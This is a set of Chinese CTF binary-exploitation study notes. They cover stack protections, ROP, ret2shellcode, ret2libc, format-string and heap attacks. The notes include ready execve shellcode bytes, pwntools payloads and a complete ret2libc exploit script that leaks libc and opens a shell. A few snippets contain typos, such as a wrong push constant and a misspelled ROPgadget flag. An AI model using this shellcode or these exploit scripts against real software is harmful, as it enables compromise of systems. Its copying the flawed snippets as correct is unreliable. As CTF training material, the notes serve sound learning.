Skip to content

Pwn | 二进制安全

基础

程序调用机制

程序的栈是从进程地址空间的高地址向低地址增长的

栈介绍 - CTF Wiki (ctf-wiki.org)

EBP为帧基指针, ESP为栈顶指针

img

调用(call):将当前的指令指针EIP(该指针指向紧接在call指令后的下条指令)压入堆栈,以备返回时能恢复执行下条指令;然后设置EIP指向被调函数代码开始处,以跳转到被调函数的入口地址执行。

离开(leave): 恢复主调函数的栈帧以准备返回。等价于指令序列movl %ebp, %esp(恢复原ESP值,指向被调函数栈帧开始处)和popl %ebp(恢复原ebp的值,即主调函数帧基指针)。

返回(ret):与call指令配合,用于从函数或过程返回。从栈顶弹出返回地址(之前call指令保存的下条指令地址)到EIP寄存器中,程序转到该地址处继续执行(此时ESP指向进入函数时的第一个参数)。若带立即数,ESP再加立即数(丢弃一些在执行call前入栈的参数)。使用该指令前,应使当前栈顶指针所指向位置的内容正好是先前call指令保存的返回地址。

需要注意,32 位和 64 位程序有以下简单的区别

  • x86

    • 函数参数函数返回地址的上方
  • x64

    • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。

    • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

      img

调用约定

cdecl

又称C调用约定,是C/C++编译器默认的函数调用约定。所有非C++成员函数和未使用stdcall或fastcall声明的函数都默认是cdecl方式。函数参数按照从右到左的顺序入栈函数调用者负责清除栈中的参数返回值在EAX中。由于每次函数调用都要产生清除(还原)堆栈的代码,故使用cdecl方式编译的程序比使用stdcall方式编译的程序大(后者仅需在被调函数内产生一份清栈代码)。但cdecl调用方式支持可变参数函数(即函数带有可变数目的参数,如printf),且调用时即使实参和形参数目不符也不会导致堆栈错误。对于C函数,cdecl方式的名字修饰约定是在函数名前添加一个下划线;对于C++函数,除非特别使用extern "C",C++函数使用不同的名字修饰方式。

堆栈平衡

在ubuntu18以上的版本,64位的程序若包含了system(“/bin/sh”),就需要考虑堆栈平衡。

需要保证16字节对齐,即要保证payload的字节数是16的倍数

当内存地址作为操作数时,内存地址必须对齐 16Byte 、 32Byte 或 64Byte 。这里所说的对齐 xByte,就是指地址必须是 x 的倍数。

我们可以推测:使用 XMM 时,需要 16Byte 对齐;使用 YMM 时,需要 32Byte 对齐;使用 ZMM 时,需要 64Byte 对齐。

因此我们需要确保在执行这一指令时,rsp + 0x5016 的倍数。直观地说,就是该地址必须以数字 0 结尾。

基于上述分析,我们可以在 vulnerable_function 的地址前增加一个新的地址,该地址恰好指向一个 ret 指令。这样一来,由于加入了一个新地址,栈顶被迫下移8个字节,使之对齐 16Byte ;同时,由于插入的地址指向了 ret 指令,程序的仍然可以顺利地进入 vulnerable_function 中。如下图所示:

img

危险函数

通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下

  • 输入
    • gets,直接读取一行,忽略'\x00'
    • scanf
    • vscanf
    • read(buf)
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到'\x00'停止
    • strcat,字符串拼接,遇到'\x00'停止
    • bcopy

奇葩函数大赏

__readfsqword

读取 FS 段寄存器中存储的 64 位整数。__readfsqword(0x28u) 赋值给变量 v7 则表示将 FS 段寄存器中偏移为 0x28 的地址处存储的 64 位整数值赋值给变量 v7。

是canary的特征函数。

fork()

是解决 PIE 保护的函数之一。

alarm

alarm(0xAu)函数。alarm函数中的参数0xAu是十六进制无符号数,即十进制对应10,所以该函数的作用是在程序运行10秒后,给进程发送SIGALRM信号,如果不另编写程序接受处理此信号,则默认结束此程序。

可调用alarm(0)取消

如何调用终端 shell

system 函数

参数可以为 /bin/shsh,也可以 /bin/cat xxx?

程序保护机制

工具:Checksec

识别二进制文件的安全属性

checksec --file=文件名

NX

GCC 编译选项:

-z execstack // 禁用NX保护
-z noexecstack // 开启NX保护

NX即No-eXecute(不可执行)的意思,栈不可执行保护,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

换句话说,就是不能直接利用程序中的某一段代码或者自己填写代码来获得 shell。

克制:ret2shellcode

在这里插入图片描述

CANARY

GCC 编译选项:

-fno-stack-protector // 禁用
-fstack-protector // 开启
-fstack-protector-all // 完全开启

在函数开始时就随机产生一个值,将这个值CANARY放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆盖掉CANARY的值;当程序结束时,程序会检查CANARY这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击。

canary设计是以“x00”结尾,本意就是为了保证canary可以截断字符串。

克制:所有单纯的栈溢出

RELRO

GCC 编译选项:

-z norelro // 关闭
-z lazy // 部分开启
-z now // 全部开启

堆栈地址随机化?

Partial RELRO

可以看到加上relro编译选项以后,数据segemnt加载到内存分裂成了两个vma:

  1. 包含.got的vma,在动态链接完成后就被保护起来了,属性设置为r--
  2. 包含.data.bss的vma,在运行时还需要读写访问的,属性设置为rw-

Full RELRO

克制

PIE(ASLR)

GCC 编译选项:

-fpie -pie // 开启PIE,此时强度为1,半随机 code&data、stack、mmap、vdso随机化
-fPIE -pie // 开启PIE,此时为最高强度2,在1的基础上加上heap随机化

为了提升系统的安全,增大漏洞的攻击难度,提出了进程地址空间各区域随机化的措施,称之为ASLR(Address Space Layout Randomization)。ASLR通过随机放置进程关键数据区域的地址空间来防止攻击者能可靠地跳转到内存的特定位置来利用函数。现代操作系统一般都加设这一机制,以防范恶意程序对已知地址进行Return-to-libc攻击。

克制:所有需要用到堆栈精确地址的攻击,要想成功,必须用提前泄露地址

FORTIFY

GCC 编译选项:

-D_FORTIFY_SOURCE=1 // 较弱的检查
-D_FORTIFY_SOURCE=2 // 较强的检查

常用函数加强检查,检查是否存在缓冲区溢出的错误。

ORW

ORW类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve等),使得我们并不能正常 get shell,只能通过ROP的方式调用open, read, write的来读取并打印flag内容。

相关函数:prctl()

在实战中我们可以通过 seccomp-tools来查看程序是否启用了沙箱,输入命令 sudo seccomp-tools dump ./pwn即可查看程序沙箱。

其它参数:

dump:将bpf规则从可执行文件中dump下来。
seccomp-tools dump ./可执行文件名 [-f][inspect] [raw] [xxd]
disasm:将bpf规则反汇编出来
seccomp-tools disasm ./可执行文件名.bpf
asm:运用这个模块,我们可以写一个asm脚本,然后执行seccomp-tools asm [asm脚本名]

如果禁用了 execve,由于system函数实际上也是借由 execve实现的,基本等同于“禁用”了system

Glibc 2.29 前解决方法

Glibc2.29以前的 ORW解题思路已经比较清晰了,主要是劫持 free_hook 或者 malloc_hook写入 setcontext函数中的 gadget,通过 rdi索引,来设置相关寄存器,并执行提前布置好的 ORW ROP chains

<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:  push   rcx
<setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor    eax,eax
<setcontext+127>: ret

Glibc 2.29 后解决方法

Glibc 2.29之后 setcontext中的gadget变成了以 rdx索引,因此如果我们按照之前思路的话,还要先通过 ROP控制 RDX的值,如下所示:

.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4                 mov     rbx, [rdx+80h]
.text:00000000000580EB                 mov     rbp, [rdx+78h]
.text:00000000000580EF                 mov     r12, [rdx+48h]
.text:00000000000580F3                 mov     r13, [rdx+50h]
.text:00000000000580F7                 mov     r14, [rdx+58h]
.text:00000000000580FB                 mov     r15, [rdx+60h]
.text:00000000000580FF                 test    dword ptr fs:48h, 2
    ....
.text:00000000000581C6                 mov     rcx, [rdx+0A8h]
.text:00000000000581CD                 push    rcx
.text:00000000000581CE                 mov     rsi, [rdx+70h]
.text:00000000000581D2                 mov     rdi, [rdx+68h]
.text:00000000000581D6                 mov     rcx, [rdx+98h]
.text:00000000000581DD                 mov     r8, [rdx+28h]
.text:00000000000581E1                 mov     r9, [rdx+30h]
.text:00000000000581E5                 mov     rdx, [rdx+88h]
.text:00000000000581EC                 xor     eax, eax
.text:00000000000581EE                 retn

相关工具

ROPgadget

可以在二进制文件中搜索Gadgets,以方便对ROP的利用。

我们知道x86都是靠栈来传递参数的,而x64的顺序是rdi, rsi, rdx, rcx, r8, r9,(这里6个寄存器可以被理解为Gadgets)。如果多于6个参数才会用栈。

使用方法

64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

命令: ROPgadget --binary 文件名 --only "pop|ret" | grep rdi 命令: ROPgadget --binary 文件名 --only "pop|ret" | grep rsi

或者

命令: ROPgadget --binary 文件名 --only "pop|ret"

该工具除了可以用来查找 ret/rdi的地址,还可以用来查找一些字符串的地址

ROPgadget --binary 文件名 --sting '/bin/sh'
ROPgadget --binary 文件名 --sting '/sh'
ROPgadget --binary 文件名 --sting 'sh'
ROPgadget --binary 文件名 --sting 'cat flag'
ROPgadget --binary 文件名 --sting 'cat flag.txt'

生成rop链

ROPgadget --binary 文件名 --ropchain

栈溢出

ret2text

ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。即有system函数,要修改它的参数。

ret2shellcode

ret2shellcode是指攻击者需要自己将调用shell的机器码(也称shellcode)注入至内存中,随后利用栈溢出复写return_address,进而使程序跳转至shellcode所在内存。

要实现上述目的,就必须在内存中找到一个可写(这允许我们注入shellcode)且可执行(这允许我们执行shellcode)的段,并且需要知道如何修改这些段的内容。不同的程序及操作系统采取的保护措施不尽相同,因此如何注入shellcode也应当灵活选择。

找注入点

(设0x804a080被gets或xxx)

这里我们需要知道0x804a080所在段是否有执行权限,他必须有执行权限,输入的shellcode才能执行,

怎么判断所在段是否有执行权限呢?如下 用Gdb插件peda中:readelf 或者shell:readelf -S +文件名(注意大小写,一定是大S) 发现所在地址的段是.bss

gdb中在main下个断点,然后让程序跑起来,再使用vmmap命令查看段的权限(RWX)

在pwndbg中用cyclic 200 生成200个字符,然后运行程序r 将200个字符输入其中,停下来后发现有错误地址,也就是溢出点

用cyclic –l 0x62616164计算出偏移offset为112

Exp

context(arch="i386",os="linux")  #必须要有的 32位
# context(arch="amd64",os="linux")  # 64位
shellcode = asm(shellcraft.sh())    #自动生成shellcode
payload = shellcode.ljust(112,b"A") + p32(0x804a080)    #shellcode.ljust 用A凑齐112个字符

手打shellcode:

context(arch="i386",os="linux",log_level="debug")
shellcode=asm("""
push 0x68
push 0x73f2f2f
push 0x6e69622f  
mov ebx,esp       
xor ecx,ecx
xor edx,edx        
push 11           
pop eax            
int 0x80
""")
payload = shellcode.ljust(112,"A") + p32(0x804a080)

较短的 shellcode:

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"    #64位 23字节
shellcode = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'    #32位 21字节

纯可见 ascll 字符 shellcode:

shellcode = b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"    #64位

ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。

已知system函数地址和"/bin/sh"地址

syad=0x08048320 #system函数的位置
shad=0x0804a024 #/bin/sh的位置
p=b"a"*(0x88+0x04)+p32(syad)+p32(0)+p32(shad)#其中p32(0) 是执行system函数后的存储地址,可以找个合适的值替换。
shad=0x0804a024 #/bin/sh 的位置
#0x0804849e 是call system函数的位置  只需后面加上/bin/sh 位置即可直接执行 不用再加一个地址作为存储
p=b"a"*(0x88+0x04)+p32(0x0804849e)+p32(shad)

可能原因:原来的eip的位置

wiki:

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以'bbbb' 作为虚假的地址,其后参数对应的参数内容。

已知system函数地址

与上个基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])

需要注意的是,这里是向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。

啥也没有

知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

基本做法

1.利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使 用的 libc 的版本。

2.程序里的函数的地址跟它所使用的 libc 里的函数地址不一样,程序里函数地址 = libc 里的函数地址 + 偏移 量,在1中找到了 libc 的版本,用同一个程序里函数的地址-libc 里的函数地址即可得到偏移量

3.得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造 rop 去执 行`system('/bin/sh')这样的命令

泄露 libc 版本

在线查找libc版本的网站: https://libc.blukat.me/ 我们可以在上面那个网站上利用函数的末3位找到libc版本

计算偏移量

计算system函数地址的基本原理是: 在libc.so.6中,各个函数的相对地址是固定的,比如函数A相对于libc.so.6的起始地址为addr_A,函数B相对于libc.so. 6的起始地址为addr_B, 那么,如果我们能够泄漏进程内存空间中函数A的地址address_A,那么函数B在进程空间中的地址就可以计算出来 了,为address_A - addr_A + addr_B。

执行

32位程序运行执行指令的时候直接去内存地址寻址执行 64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序

在这里插入图片描述

使用LibcSearcher

from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system")        #system 偏移
obj.dump("str_bin_sh")    #/bin/sh 偏移
obj.dump("__libc_start_main_ret")    
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

ret2csu

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。

这里我们可以利用以下几点:

  • 我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据(在函数最后)。
  • 在往上看mov rdx, r13;,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
  • 在往下看,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

SROP

需要条件:

  • 可以通过栈溢出来控制栈的内容
  • 需要知道相应的地址
    • "/bin/sh"
    • Signal Frame
    • syscall
    • sigreturn
  • 需要有够大的空间来塞下整个 sigal frame

在目前的 pwntools 中已经集成了对于 SROP 的攻击。

格式化字符串

常见的有格式化字符串函数

  • 输入
    • scanf
  • 输出
函数 基本介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等 。。。

格式化字符串基本格式如下:

%[parameter][flags][field width][.precision][length]type

每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注

  • parameter

    • n$,获取格式化字符串中的指定参数
  • flag

  • field width

    • 输出的最小宽度
  • precision

    • 输出的最大长度
  • length,输出的长度

    • hh,输出一个字节
    • h,输出一个双字节
  • type

    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, '%'字面值,不接受任何 flags, width。

    %n$x

    利用如上的字符串,我们就可以获取到对应的第 n+1 个参数的数值。在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。

    小技巧总结

    1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
    2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
    3. 利用 %order\$x 来获取指定参数的值,利用 %order\$s 来获取指定参数对应地址的内容。

覆盖内存

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的 payload

...[overwrite addr]....%[overwrite offset]$n

其中... 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤

  • 确定覆盖地址
  • 确定相对偏移
  • 进行覆盖

在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数。

所以说,我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节。

%521c%1$hn可以将指向第一项的地址的值改为521。

pwntool 自动找偏移:fmtstr

def exec_fmt(pad):
    p = process("./fmt")
    # send 还是 sendline以程序为准
    p.send(pad)
    return p.recv()

fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)

pwntool 自动化函数:fmtstr_payload

  • offset:数据距离格式化字符串的偏移
  • writes:往addr里写入value值,为字典{printf_got:addr}
  • numbwritten=0:已经由printf写入的字节数
  • write_size=‘byte’:指定逐byte/short/int写

例:payload = fmtstr_payload(offset,{printf_got: system_plt})

hijack GOT

在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。

假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤:

  • 确定函数 A 的 GOT 表地址。
    • 这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。
  • 确定函数 B 的内存地址
    • 这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。
  • 将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。
    • 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
      • 写入函数:write 函数。
      • ROP

堆溢出

堆查看

使用 pwngdb 可以查看堆空间

堆分配函数

  • malloc
  • calloc:calloc 在分配后会自动进行清空(memset),这对于某些信息泄露漏洞的利用来说是致命的
  • realloc
    • 当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时
      • 如果申请 size > 原来 size
        • 如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
        • 如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
      • 如果申请 size < 原来 size
        • 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
        • 如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
    • 当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)
    • 当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作

计算实际堆栈分配大小

主要是计算我们开始写入的地址与我们所要覆盖的地址之间的距离。ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的 2 倍,比如 32 位系统是 8 个字节,64 位系统是 16 个字节。但是对于不大于 2 倍字长的请求,malloc 会直接返回 2 倍字长的块也就是最小 chunk,比如 64 位系统执行malloc(0)会返回用户区域为 16 字节的块。

注意用户区域的大小不等于 chunk_head.size,chunk_head.size = 用户区域大小 + 2 * 字长。

还有一点是之前所说的用户申请的内存大小会被修改,其有可能会使用与其物理相邻的下一个 chunk 的 prev_size 字段储存内容。

Use After Free

指针 free 后没有指向 null

关键在于释放后 程序下一次申请内存时会再赋给它?

基本步骤:

  1. 申请A
  2. free A
  3. 申请“B”

其它

GOT 劫持

GOT 表可写

速记

plt表和got表

plt表和got表是动态链接过程中的两个重要部分,它们可以帮助程序调用外部共享库中的函数,而不需要将其编译在可执行文件中。plt表和got表的含义和作用如下:

  • plt表(Procedure Linkage Table)是程序链接表,它包含了调用外部函数的跳转指令,以及初始化外部调用指令的代码。plt表的每个表项对应一个外部函数,第一次调用时会跳转到got表中的伪地址,然后通过_dl_runtime_resolve函数解析出真实的函数地址,并回写到got表中。第二次调用时就可以直接跳转到真实的函数地址,不需要重新解析。
  • got表(Global Offset Table)是全局偏移表,它包含了所有需要动态链接的外部函数的地址(在第一次执行后)。got表的前三项是特殊的,分别是动态段的地址、link_map对象的地址和_dl_runtime_resolve函数的地址。got表的其他项是与plt表一一对应的外部函数的地址,第一次调用前是指向plt表中的初始化代码的伪地址,第一次调用后被修改为真实的函数地址。

看输出出来的东西

返回值需要指向 exit